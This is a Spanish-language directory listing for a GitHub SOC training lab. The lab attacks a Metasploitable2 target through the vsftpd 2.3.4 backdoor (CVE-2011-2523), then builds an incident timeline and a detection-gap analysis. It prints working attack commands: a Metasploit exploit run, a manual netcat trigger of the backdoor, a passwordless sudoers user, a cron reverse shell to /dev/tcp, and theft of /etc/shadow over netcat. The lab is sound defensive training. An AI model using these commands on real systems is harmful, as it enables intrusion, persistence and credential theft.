Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
soc-investigation-lab — Investigación SOC de extremo a extremo: kill chain CVE-2011-2523, correlación de logs de múltiples fuentes, informe de incidente — MITRE ATT&CK T1190 | Kitploit
Herramientas/GitHubGitHub/mithileshan/soc-investigation-lab
ReconocimientoAnálisis de VulnerabilidadesExplotaciónAnálisis ForensePost-ExplotaciónPruebas de PenetraciónInteligencia de AmenazasAprendizaje y EducaciónRespuesta a Incidentes

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Análisis de Registros
Labs y Práctica
GitHubmithileshan/soc-investigation-lab

soc-investigation-lab

Investigación SOC de extremo a extremo: kill chain CVE-2011-2523, correlación de logs de múltiples fuentes, informe de incidente — MITRE ATT&CK T1190

Ver Repositorio
hace 3 mesesAún no revisado
Compartir

Laboratorio de Investigación SOC de Extremo a Extremo

Ejecuta una cadena de ataque completa de cuatro fases (Reconocimiento → Explotación → Persistencia → Exfiltración) contra Metasploitable2, recopila evidencia en cada fase y produce una línea de tiempo de incidentes estructurada y un informe SOC — demostrando el pensamiento simultáneo de atacante y defensor.

MITRE ATT&CK T1190 MITRE ATT&CK T1136 MITRE ATT&CK T1078 MITRE ATT&CK T1041 Python


Objetivo

Este es el proyecto final. Demuestra la capacidad de:

  • Ejecutar una cadena de ataque (kill chain) realista contra un objetivo deliberadamente vulnerable
  • Recopilar evidencia forense en cada etapa utilizando múltiples fuentes de telemetría
  • Correlacionar entradas de registro de sistemas dispares en una línea de tiempo de incidentes unificada
  • Realizar un análisis de brechas de visibilidad — identificando lo que se habría perdido sin una cobertura de detección adecuada
  • Producir un informe de incidentes de nivel SOC en el formato utilizado por los equipos de seguridad reales

El exploit utilizado (CVE-2011-2523 — puerta trasera de vsftpd 2.3.4) es históricamente significativo: fue un ataque a la cadena de suministro en el que un adversario inyectó una puerta trasera en el repositorio de código fuente del paquete de código abierto vsftpd.


Arquitectura

root@kitploit:~
                    ╔═══════════════════════════════╗
                    ║  soc-lab (172.23.0.0/24)       ║
                    ║                               ║
┌─────────────┐     ║  ┌─────────────────────────┐  ║
│  Attacker   │     ║  │  Metasploitable2        │  ║
│  Kali Linux │     ║  │  172.23.0.200           │  ║
│             │     ║  │                         │  ║
│  Phase 1    │─────╫─►│  :21  vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│  nmap -A    │     ║  │  :22  SSH               │  ║    backdoor on :6200
│             │     ║  │  :80  HTTP (DVWA)        │  ║
│  Phase 2    │─────╫─►│  :445 Samba             │  ║
│  msf exploit│◄────╫──│  :6200 root shell       │  ║
│             │     ║  └─────────────────────────┘  ║
│  Phase 3    │─────╫─► useradd sysbackup           ║
│  persistence│─────╫─► crontab reverse shell       ║
│             │     ║                               ║
│  Phase 4    │◄────╫── /etc/shadow via nc :5555    ║
│  exfiltration     ╚═══════════════════════════════╝
└──────┬──────┘
       │
       │ Evidence collection:
       │  logs/msf_session.log
       │  logs/target_auth.log
       │  captures/full_attack_chain.pcap (tshark CSV)
       ▼
┌──────────────────────────────────────────────────┐
│  build_timeline.py                               │
│  Parser: MSF log + auth.log + tshark CSV         │
│  → merge by timestamp → tag by phase             │
│  → JSON timeline + Markdown incident report      │
└──────────────────────────────────────────────────┘

Herramientas y Stack


Configuración

root@kitploit:~
cd docker/

# Start Metasploitable2 (isolated network)
docker compose up -d metasploitable

# Verify target is reachable
nmap -p 21,22,80 172.23.0.200

# Start background packet capture
sudo tcpdump -i eth0 host 172.23.0.200 \
    -w captures/full_attack_chain.pcap &

Cómo Ejecutar (Cadena de Ataque)

Fase 1 — Reconocimiento

root@kitploit:~
nmap -sV -O -A \
    -p 21,22,80,139,445,3306,5432 \
    --script=banner,ftp-anon,http-title \
    -oX logs/recon_scan.xml \
    172.23.0.200

Hallazgo clave: 21/tcp open ftp vsftpd 2.3.4

Fase 2 — Explotación (CVE-2011-2523)

root@kitploit:~
# Method A: Metasploit
msfconsole -q -x "
  use exploit/unix/ftp/vsftpd_234_backdoor;
  set RHOSTS 172.23.0.200;
  set PAYLOAD cmd/unix/interact;
  run" | tee logs/msf_session.log

# Method B: Manual (demonstrates the mechanism)
# Step 1: Trigger backdoor by sending username with ':)'
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# Step 2: Connect to spawned root shell
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)

Por qué funciona: Cuando vsftpd 2.3.4 recibe un nombre de usuario que contiene la subcadena :), el daemon ejecuta execl("/bin/sh",...) vinculado al puerto TCP 6200. No se requiere autenticación — shell root directa.

Fase 3 — Persistencia

root@kitploit:~
# Execute in the root shell on target:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -

Fase 4 — Exfiltración

root@kitploit:~
# Receiver (attacker)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt

# Sender (on target)
cat /etc/shadow | nc 172.23.0.1 5555

Construir la línea de tiempo del incidente

root@kitploit:~
# Convert PCAP to CSV first
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap

# Build timeline from all sources
python3 src/build_timeline.py \
    --msf-log  logs/msf_session.log \
    --auth-log logs/target_auth.log \
    --pcap-csv captures/full_attack_chain_packets.csv \
    --output-json samples/timeline.json \
    --output-md   docs/incident_report.md \
    --pretty

Salida de Ejemplo

build_timeline.py stderr

root@kitploit:~
2026-04-24T16:05:20  [INFO    ]  Parsed 9 events from MSF log
2026-04-24T16:05:20  [INFO    ]  Parsed 11 events from auth.log
2026-04-24T16:05:20  [INFO    ]  Parsed 4 flow-initiation events from PCAP CSV
2026-04-24T16:05:20  [INFO    ]  Total events (sorted): 24
2026-04-24T16:05:20  [INFO    ]  Unique IOCs extracted: 4
2026-04-24T16:05:20  [INFO    ]  Phase RECON   : 8 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase EXPLOIT : 4 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase PERSIST : 6 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase EXFIL   : 2 event(s)

Línea de tiempo del incidente (extracto de samples/sample_timeline.json)

root@kitploit:~
{
  "total_events": 24,
  "iocs": [
    { "indicator": "172.23.0.1", "phase": "RECON",   "occurrence": 8 },
    { "indicator": "172.23.0.1", "phase": "EXPLOIT",  "occurrence": 2 },
    { "indicator": "sysbackup",  "phase": "PERSIST", "occurrence": 1 }
  ],
  "timeline": [
    { "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON",   "description": "nmap -sV -O -A", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
    { "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL",   "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
  ]
}

Análisis de Brechas de Visibilidad

Esta es la salida analítica más importante — lo que se habría perdido sin una detección adecuada.

Hallazgo crítico: El exploit de vsftpd 2.3.4 no deja ninguna entrada en auth.log porque evita el subsistema de inicio de sesión. La única evidencia de registro es la conexión TCP posterior al puerto 6200 — invisible sin telemetría de red. Los registros de endpoints por sí solos no pueden detectar esta clase de ataque.


Limitaciones y Trabajo Futuro


Referencias


Estructura del Proyecto

root@kitploit:~
04-soc-investigation/
├── src/
│   ├── build_timeline.py      # Multi-source log merger + phase tagger
│   └── run_attack_chain.sh    # Step-by-step attack chain with exact commands
├── configs/
│   └── splunk_detection_rules.spl   # Phase-specific SPL queries (RECON/EXPLOIT/PERSIST/EXFIL)
├── samples/
│   └── sample_timeline.json   # Example incident timeline JSON
├── docker/
│   └── docker-compose.yml     # Metasploitable2 isolated target
├── docs/
│   └── incident_report.md     # Generated SOC report (build_timeline.py --output-md)
└── screenshots/
Descargar herramienta
HerramientaPropósito
Metasploitable2Objetivo Linux deliberadamente vulnerable
Nmap 7.94Fase 1: Enumeración de servicios
Metasploit 6.xFase 2: Exploit de vsftpd 2.3.4
NetcatFases 3–4: Persistencia + exfiltración
tsharkCaptura de paquetes durante todas las fases
Python 3build_timeline.py — fusionador de registros multi-fuente
Splunk Free / ELKDetección SIEM específica por fase
FaseEvidencia de Registro BrutaDetectado por Regla SIEMPerdido Sin Cobertura
RECONPCAP: inundación SYN a 24 puertosRegla de barrido de puertos (>20 puertos/10s) ✓Escaneo lento (-T1): evita completamente el umbral de velocidad
EXPLOITPCAP: nueva conexión a :6200 · Sin entrada en auth.logRegla de anomalía para el puerto :6200 ✓Si el atacante usara un exploit HTTP en :80 — sin anomalía de puerto
PERSISTauth.log: new user: name=sysbackupAlerta de creación de nuevo usuario ✓Edición directa de /etc/passwd: cero registros sin auditd
EXFILPCAP: 4 KB salientes en :5555Regla de puerto no estándar + tamaño ✓Exfiltración por DNS (registros TXT): evita completamente las reglas de volumen
LimitaciónImpactoMitigación
vsftpd 2.3.4 es una vulnerabilidad de 2011No es representativa de exploits modernosAñadir EternalBlue (MS17-010) como escenario de exploit alternativo
build_timeline.py utiliza clasificación por palabras claveClasifica erróneamente algunos eventosEntrenar un clasificador NLP ligero con datos de registro etiquetados
Sin detección de endpoints (EDR)La persistencia a nivel de archivo (authorized_keys) no se capturaAñadir Wazuh o Elastic Agent en el objetivo
Ejecución manual de la cadena de ataqueNo reproducible sin intervención interactivaAutomatizar las fases 2–4 con scripts de recursos de Metasploit
ReferenciaID / Enlace
CVE-2011-2523 — Puerta trasera de vsftpd 2.3.4https://nvd.nist.gov/vuln/detail/CVE-2011-2523
MITRE ATT&CK — Explotación de aplicación expuesta públicamenteT1190
MITRE ATT&CK — Crear cuenta: cuenta localT1136.001
MITRE ATT&CK — Tarea/Job programado: CronT1053.003
MITRE ATT&CK — Exfiltración a través del canal C2T1041
MITRE ATT&CK — Cuentas válidasT1078